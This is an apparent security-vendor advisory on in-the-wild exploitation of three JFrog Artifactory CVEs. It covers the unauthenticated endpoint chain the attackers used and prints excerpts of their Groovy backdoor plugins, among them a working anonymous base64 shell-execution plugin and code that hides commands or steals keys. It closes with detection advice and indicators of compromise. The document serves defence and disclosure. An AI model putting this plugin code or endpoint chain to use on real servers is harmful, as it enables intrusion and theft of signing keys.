← 返回列表

Artifactory Under Attack: In-the-Wild Exploitation of CVE-2026-42016, CVE-2026-42018 & CVE-2026-82329

单站 Wiz Blog 作者 Shahar Dorfman 发布 Thu, 10 Sep 2026 19:04:00 GMT 入库 2026-11-18T05:29:58

Change log:

Wiz Research has identified active, in-the-wild exploitation of three critical and high-severity vulnerabilities affecting JFrog Artifactory: CVE-2026-42016, CVE-2026-42018, and CVE-2026-82329. Attackers are chaining these vulnerabilities to bypass authentication, escalate privileges, and gain administrative control over vulnerable Artifactory instances. Observed post-exploitation activity includes the creation of persistent administrator accounts, the deployment of malicious Groovy plugins for code execution, and the installation of Rust-based backdoors to establish persistence. This blogpost provides an analysis of the exploitation patterns observed, the impact on affected organizations, and actionable guidance for security teams to detect and remediate these threats.

We will continue to update this blogpost as new information becomes available.

These CVEs are trivial to exploit, a handful of unauthenticated HTTP requests. If your instance was exposed while vulnerable, assume compromise and hunt for post-exploitation artifacts. Upgrading closes the door but does not evict an attacker who is already inside: the admin users and plugins described below survive restarts, and stolen Access signing keys let an attacker mint valid tokens indefinitely without ever returning to the host.

CVE-2026-42018 is an improper-authentication vulnerability that may cause Artifactory to return an internal anonymous-user token to an unauthenticated requester, even when anonymous access is disabled. An attacker could use the exposed token to access resources available to the internal anonymous identity, potentially exposing sensitive artifacts or repository data.

CVE-2026-42016 is a privilege-escalation vulnerability caused by insufficient token validation. Artifactory validates the token’s signature and issuer but does not properly enforce its intended scope. As a result, an attacker with low-privileged access may be able to use a valid token to perform unauthorized actions and gain elevated privileges.

CVE-2026-82329 is a critical authentication-bypass vulnerability affecting Artifactory under its default configuration. An unauthenticated attacker with network access to a vulnerable instance may be able to obtain administrative privileges, potentially gaining complete control over the Artifactory deployment and the artifacts, credentials, and integrations it manages.

Our data indicates that 67% of organizations running JFrog Artifactory had at least one vulnerable instance when CVE-2026-42016 was first published on July 27. Similar levels were observed for CVE-2026-42018 (69% at publication on Aug 12) and CVE-2026-82329 (67% at publication on Aug 28).

Patching velocity has been slow for the lower-severity CVEs. As of six weeks after the first disclosure, 59% of organizations remain vulnerable to CVE-2026-42016, and CVE-2026-42018 has only declined from 69% to 62% over four weeks. However, CVE-2026-82329 has seen significantly faster remediation, dropping from 67% to 49% within two weeks of publication, likely due to its critical severity rating driving more urgent attention from security teams.

Wiz Research has confirmed in-the-wild exploitation of all three vulnerabilities across multiple environments.

Between August 15 and September 8, 2026, we observed multiple actors chain CVE-2026-42018 and CVE-2026-42016 against self-hosted Artifactory instances. Across multiple cases we observed a custom Rust backdoor with C2 capabilities being dropped. Wiz Research is not aware of any prior public reporting of in-the-wild exploitation involving those two CVEs. Neither vulnerability grants administrative control on its own. CVE-2026-42018 exposes a token for the internal anonymous user, and CVE-2026-42016 lets that low-privileged token be escalated to admin scope. Together, the two can turn an unauthenticated request into an admin-scoped token in two steps.

Every exploitation followed a similar shape. An unauthenticated POST /access/api/v1/aws/token/ with a trailing slash returned HTTP 200 with a JWT for the internal anonymous user, exploiting CVE-2026-42018. The actor then exchanged that JWT for an admin-scoped token through POST /access/api/v1/tokens , which returned HTTP 200 and exploited the CVE-2026-42016 scope-validation flaw. The escalated token kept the anonymous username but carried admin authority, so later requests appear with an actor of token:anonymous. In some instances, actors moved from the first request to a created admin account in under five minutes.

A request sequence looked like this:

Since admin access is granted to the actor, post-exploitation varies. No single actor ran every step below. Across compromised Artifactory instances, we observed:

This vulnerability has been reported by several vendors as being actively exploited in the wild, and has also been added to CISA KEV. Between September 1 and September 8, 2026, we observed several threat actors carry out successful exploitations of CVE-2026-82329. Every initial exploitation followed the same pattern: an unauthenticated POST /access/api/v1/registry/join returning HTTP 200 or 201 with an admin-scoped token in the response body, followed by post-exploitation activities. Rather than a unified attack chain by a single threat actor, the following behaviors represent distinct patterns observed across various affected Artifactory environments:

Most attacker-created accounts carry proof-of-concept boilerplate: usernames such as Nxploited_[a-zA-z0-9]{3}, labadmin_<hex>, 0xTerror, and svc_[a-zA-z0-9]{8}. Some actors created more legitimate-looking accounts like: jfrog-distribution , jfrog-insight, repo-service and more.

Across the intrusions we analyzed, the most consistent post-exploitation step was the deployment of an Artifactory user plugin, a Groovy file dropped into $JFROG_HOME/var/etc/artifactory/plugins/ and exposed at /artifactory/api/plugins/execute/<name>. This is an attractive persistence mechanism because user plugins run unsandboxed inside the Artifactory JVM with the service account's full privileges, are reloaded automatically on restart, and are reachable over ordinary, TLS-wrapped API traffic that is indistinguishable at the network layer from normal registry usage. Critically, a plugin dropped through CVE-2026-42018 / CVE-2026-42016 or CVE-2026-82329 survives patching, upgrading Artifactory closes the entry point but leaves the backdoor in place.

We recovered six distinct plugins, which fall into three tiers of sophistication.

rce.groovy and cmd.groovy are minimal, single-purpose droppers: a GET execution that takes a command in a query parameter (base64-encoded in rce, cleartext in cmd), pipes it through /bin/sh -c or bash -c, and returns stdout+stderr in the response body. Both default to id when no parameter is supplied - the classic "am I root?" check. Their blunt naming (rce, cmd) and lack of any concealment suggest opportunistic actors or security researchers validating access rather than establishing durable footholds.

jwtToken.groovy or uploadFile.groovy is the same primitive with one important difference: its execution block declares users: ['anonymous', 'admin']. which lets anyone call it. A plain GET /artifactory/api/plugins/execute/jwtToken?token=<base64> runs shell commands with no credentials - and it keeps working after the server is patched. The name is picked to look like part of Artifactory's own token handling.

executions {
  jwtToken(version: '1.0', httpMethod: 'GET', users: ['anonymous', 'admin']) { params ->
    def encoded = params['token'] ? params['token'][0] as String : 'aWQ='
    def command = new String(encoded.decodeBase64(), 'UTF-8')
    def p = new ProcessBuilder('/bin/sh', '-c', command).redirectErrorStream(true).start()
    message = p.inputStream.text
    status = 200
  }
}

JFrogImage.groovy is a purpose-built exfiltration toolkit fronted by a single GET execution with four operating modes:

if (params?.ts) {
            // "confusing base64": URL-safe unpadded b64 of XOR(cmd,key), reversed
            def v = params.ts[0].replaceAll(/[^A-Za-z0-9_-]/, '')
            def key = 'jfImg2026'.getBytes('UTF-8')

Two details stand out. First, every mode returns its output by throwing a RuntimeException, so results are delivered in the errors[0].message field of an HTTP 500 response. Detection logic that looks for successful (2xx) plugin executions will miss this backdoor entirely. Second, the file opens with a comment claiming "authorized testing," a plausible-deniability header we have seen reused across unrelated tooling.

// Output always via RuntimeException (HTTP 500, errors[0].message) - closure
// returns are not marshalled on 7.161.x.
throw new RuntimeException(groovy.json.JsonOutput.prettyPrint(
                    groovy.json.JsonOutput.toJson(out)))

The Access key theft in k=1 (and in the plugins below) deserves separate emphasis: per JFrog's documentation, private.key is the key that signs Access tokens, and the matching root.crt is the public certificate used to verify those signatures. An attacker holding private.key can therefore forge valid tokens for any user and any scope, indefinitely, without ever touching the compromised host again and patching does not revoke it. Any instance found with these plugins therefore needs its token certificate reset, not merely an upgrade.

metrics.groovy is the stealthiest sample. It exposes a single POST execution that reads a one-word command from the request body:

sb.append(" String kn = q.getHeader('X-Request-Trace'); if (kn == null || m(kn) != 'a993c4553636e1606e0072a5eb1ed6f0') { ch.doFilter(r, s); return }\n")
- getkey reads the Access private.key, resolving its path through reflection on ArtifactoryHome and com.jfrog.sysconf.SysLayout rather than hardcoded paths.
- delete schedules the plugin to remove itself from disk after a ten-minute delay, retrying five times. The on-disk artifact vanishes while the injected in-memory filter keeps running until the JVM restarts - a deliberate split between the loader and the implant.

httpSession.groovy is also carefully disguised plugin: it carries the docstring "HTTP session refresh used by support," declares description: 'HTTP session refresh', names its execution refresh, and restricts itself to users: ['admin'] so it reads as a legitimate support utility in a plugin listing. Its JSON request body selects an operation:

executions {
  refresh(
    version: '1.0.0',
    description: 'HTTP session refresh',
    httpMethod: 'POST',
    users: ['admin']
for (def addr : addrs) {
      def s = new java.net.Socket(java.net.Proxy.NO_PROXY)

How can Artifactory users detect exploitation?

The exploit sends /access/api/v1/aws/token/. The highest-confidence signature is behavioural: a 401 on the bare path followed by a 200 on any variant of it, from the same client, inside a short window. That pattern is an operator confirming the vulnerable variant before relying on it, and it is not something a normal client produces.

The detectable anomaly is entirely behavioural - a mismatch between who the identity is and what it is doing:

CVE-2026-82329

Exploitation will trigger a POST request to /access/api/v1/registry/join with successful (200 or 201) status code. But this indication on its own is not enough to determine exploitation. Correlate those requests with known attacker actions, such as:

Which products are affected?

CVE ID Vulnerability Type Impacted Versions
CVE-2026-82329 Authentication Bypass 7.161.0 > 7.161.19 7.146.0 > 7.146.36 7.133.0 > 7.133.28 7.125.0 > 7.125.19 7.117.0 > 7.117.27 7.111.4 > 7.111.21
CVE-2026-42018 Authentication Bypass \< 7.111.20; 7.117.0 –> 7.117.27; 7.125.0 –> 7.125.19; 7.133.0 –> 7.133.28; 7.146.0 –> 7.146.8
CVE-2026-42016 Privilege Escalation Prior to 7.133.11

What actions should security teams take?

Organizations running JFrog Artifactory should identify affected instances and upgrade to a fixed version as soon as possible. Depending on the deployed release branch, fixed versions include 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, and 7.161.20 or later. In addition, customers should review logs and refer to the "How can Artifactory users detect exploitation?" section for guidance on identifying potential indicators of compromise.

Given that exploitation may be possible remotely without authentication under the default configuration, organizations should prioritize internet-accessible Artifactory instances and restrict network access to trusted users and systems where possible. Organizations should also review Artifactory authentication and administrative activity for unexpected privileged access.

How can Wiz help?

Wiz customers should refer to the pre-built advisory in the Wiz Threat Intel Center for actionable steps to investigate, remediate, and harden their environments. Wiz Defend customers benefit from agentless scanning of Artifactory logs. Wiz Research will continue to update our advisory and this blogpost as the situation develops.

If you suspect a JFrog Artifactory breach or any other cloud security incident, contact Wiz CIRT for incident response support.

Indicators of Compromise (IOCs)

Indicator Description First Seen Last Seen
hxxp://log.gitclone[.]org:45678/smtp Payload download after CVE-2026-42018/CVE-2026-42016 exploitation 2026-09-06 2026-09-08
hxxp://3.88.162[.]79:36789/smtp Second load of payload after CVE-2026-42018/CVE-2026-42016 exploitation 2026-09-07 2026-09-08
513a907b69edffc3cb77a494da395178d21ef9bd SHA1 of /tmp/.z payload 2026-09-06 2026-09-08
64.207.232[.]6:8443 C2 address 2026-09-08 2026-09-08
149.102.229[.]150 Actor IP exploiting CVE-2026-42018/CVE-2026-42016 2026-08-30 2026-08-30
186.247.79[.]240 Actor IP exploiting CVE-2026-42018 2026-09-02 2026-09-02
182.62.201[.]69 Actor IP exploiting CVE-2026-42018 2026-09-04 2026-09-04
146.19.216[.]120 Actor IP exploiting CVE-2026-82329 2026-09-01 2026-09-01
185.190.58[.]172 Actor IP exploiting CVE-2026-82329 2026-09-03 2026-09-03
45.61.176[.]88 Actor IP exploiting CVE-2026-82329 2026-09-02 2026-09-04
223.144.227[.]110 Actor IP exploiting CVE-2026-82329 2026-09-04 2026-09-04
129.121.56[.]234 Actor IP exploiting CVE-2026-82329 2026-09-04 2026-09-04
16.54.250[.]190 Actor IP exploiting CVE-2026-82329 2026-09-04 2026-09-04
105.188.75[.]16 Actor IP exploiting CVE-2026-82329 2026-09-03 2026-09-03
103.124.165[.]42 Actor IP exploiting CVE-2026-82329 2026-09-03 2026-09-03
176.88.121[.]152 Actor IP exploiting CVE-2026-82329 2026-09-03 2026-09-03
155.254.120[.]23 Actor IP exploiting CVE-2026-82329 2026-09-02 2026-09-02
220.246.124[.]92 Actor IP exploiting CVE-2026-82329 2026-09-06 2026-09-07
15.157.64[.]113 Actor IP exploiting CVE-2026-82329 2026-09-04 2026-09-04
104.28.251[.]139 Actor IP exploiting CVE-2026-82329 2026-09-04 2026-09-04
137.184.111[.]69 Actor IP exploiting CVE-2026-82329 2026-09-02 2026-09-02
svc_[a-zA-z0-9]{8} Malicious account regex created by threat actor
Nxploited_[a-zA-z0-9]{3 Malicious account regex created by threat actor
labadmin_[a-zA-z0-9]{10} Malicious account regex created by threat actor
jfrog-distribution Malicious admin account created by threat actor
backup-service Malicious admin account created by threat actor
repo-service Malicious admin account created by threat actor
jfrog-insight Malicious admin account created by threat actor
jfrog-mission-control Malicious admin account created by threat actor
jfrog-pipeline Malicious admin account created by threat actor
migration-tool Malicious admin account created by threat actor
ldap_admin Malicious admin account created by threat actor
ldap_administrator Malicious admin account created by threat actor
0xterror Malicious admin account created by threat actor
625f4165d31973f149df907b599f097ae4e1ba47 Malicious Groovy plugin named uploadFile.groovy or jwtToken.groovy
490b8bf4edf7638fb3762ae275bf0e37504acb4c Malicious Groovy plugin named cmd.groovy
a70dc1f3f759ef84891c2caf5612fa66a1bdc2dc Malicious Groovy plugin named JFrogImage.groovy
e65f0502a142dc14ffaf536798b2df543455c44c Malicious Groovy plugin named metrics.groovy
ab14c4dfc8cfb3a5da8f1c34a190d82af7fb43c4 Malicious Groovy plugin named rce.groovy
a021ee4dae296ce421ce0a2d39357eb6778d6f36 Malicious Groovy plugin named httpSession.groovy
121.123.141[.]155 Actor IP exploiting CVE-2026-42018/CVE-2026-4016 2026-08-26 2026-08-26
185.128.24[.]187 Actor IP exploiting CVE-2026-82329 2026-09-02 2026-09-02
原文链接:https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201